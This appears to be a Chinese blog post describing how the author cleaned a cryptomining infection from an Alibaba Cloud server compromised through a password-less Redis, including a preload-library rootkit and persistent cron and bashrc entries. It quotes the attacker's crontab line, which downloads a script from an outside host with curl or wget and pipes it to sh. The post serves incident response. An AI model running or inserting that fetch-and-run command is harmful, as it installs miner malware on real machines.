阿里云服务器遭受挖矿程序的入侵的清理之战

本文详细记录了在阿里云服务器上遭遇挖矿程序攻击后的排查和清理过程,包括关闭入侵入口、清除隐身进程和定时任务,以及恢复系统安全。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1. 背景

最近在阿里云服务器上安装了缓存redis,由于没有设置密码,并且开放了6379端口,遭受了挖矿程序攻击。操作系统为centos7。

2. 排查

(1)使用top命令,cpu使用率很少,几乎为0,该图只是演示,不是当时情况,当时情况:cpu使用率为0,空闲100%,明显很有问题
在这里插入图片描述
这个时候,说明挖矿程序改变你的服务器,看到的并不真实,这个时候需要一个命令:vmstat
在这里插入图片描述
你会发现us为99 id几乎为0

(2)查看Linux的定时任务cron,使用命令crontab -l 命令查看所有的定时任务,如果没有设置定时执行脚本的计划,发现多了一个任务计划:

*/10 * * * * root (/usr/local/sbin/sshd||curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh

看到这任务计划,明显不是自己设置的
再使用crontab -e编辑,也发现了这个执行计划,这时候你试图删除它,我没那么幸运,我删除不掉它。删除还是会出现。想想都很可恶。而这个可恶的程序地址就是看到的 lsd.systemten.org,用浏览器打开它就是shell脚本。
在这里插入图片描述
了解shell脚本的可以看看它都干了啥,如何把你服务器当成了傻子。真想举报它,不知道去哪举报。
(3)这个时候,我发现我的ps grep命令都找不到redis的进程,还有java 进程。

3. 清理之战

【自己根据网上分享综合操作,总结了完整步骤,打仗要有完整思路才能取胜】

步骤一:首先要关闭入侵的所有入口

redis此时可能已经被破坏,打开阿里云安全中心,你能看到阿里云的入侵警告消息,此时发现redis-server这个脚本已经被注入了自动任务,果断删除编译安装的redis目录所有文件。
设置安全组规则:阻断自动任务脚本请求的访问的地址
甚至的出方向 此时你要设置ip,可以ping 挖矿脚本地址获取的它的ip
在这里插入图片描述
入方向:关闭6379端口

步骤二:“关起门来,打狗!!!!”

此时门是关好了,打狗必须找狗,此时你可能会忽然发现,你找不到它!!!
无论你使用top . ps -aux等命令都好像无法使用一样,根本不能发现占cpu资源那个最高的线程。因为它采用用了隐身机制,这个隐身机制是:利用Linux预加载型恶意动态链接库的后门。
想了解的可以参考:https://www.freebuf.com/column/162604.html
这个后门就是这个文件

/etc/ld.so.preload

打开这个目录你可能看不到它,直接使用

vim  /etc/ld.so.preload

打开文件后你会发现它加载一个文件:

/usr/local/lib/libcupscgi-6.1.so

就是这个文件让它的进程的遁形,此时你想干啥,抡起来打狗啊!!!

去这个目录果断删除libcupscgi-6.1.so并且删除预加载文件ld.so.preload的内容,预加载的文件不要删除哈。

这个时候只是把狗的隐身功能打掉,它的本身还是存活的。

这个时候使用top命令发现一个高消耗cpu的进程,找到目录,删掉文件,果断杀掉。

杀掉后你发现cpu和内存还是不断增加,为啥

因为定点任务计划不断的再请求外界的挖矿程序木马,

 crontab -e  编辑删掉任务计划
 cd  /usr/spool/cron/ 删除所有不是你的任务计划

如果删不掉,或者无法编辑保存:可以使用
chattr -ia xxxx 自己可以了解下lsattr 和chattr命令的使用

最后感觉清理的差不多了

此时cpu似乎下降下来了,但是内存还是不断增加,最后cpu也最后高达100%。难道是还没清理干净吗?

步骤三:最后一击

研究很久,发现:

ps -ef|grep lsd.systemten.org

很多线程,不断的

curl -fsSL lsd.systemten.org,
wget -q -O- lsd.systemten.org

找了很久也发现这个请求程序在哪里,根据网上的根据进程pid找路径
也无果。
最后想了一个办法,既然它不断使用curl和wget工具请求脚本,那我直接卸载wget,看看它在哪里报错,就能找到了。
果然:

/etc/bashrc wget :无法找到该命令

马上编辑:

vi  /etc/bashrc-

你发现最后有:

*/10 * * * * root (/usr/local/sbin/sshd||curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh

隐藏的可够深的!!!!!

4. 总结

外网使用redis一定要设置密码和绑定ip,改变默认端口。毕竟关门打狗很浪费时间。如果你和我一样摸着石头过河,希望这个篇文章能帮助你。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值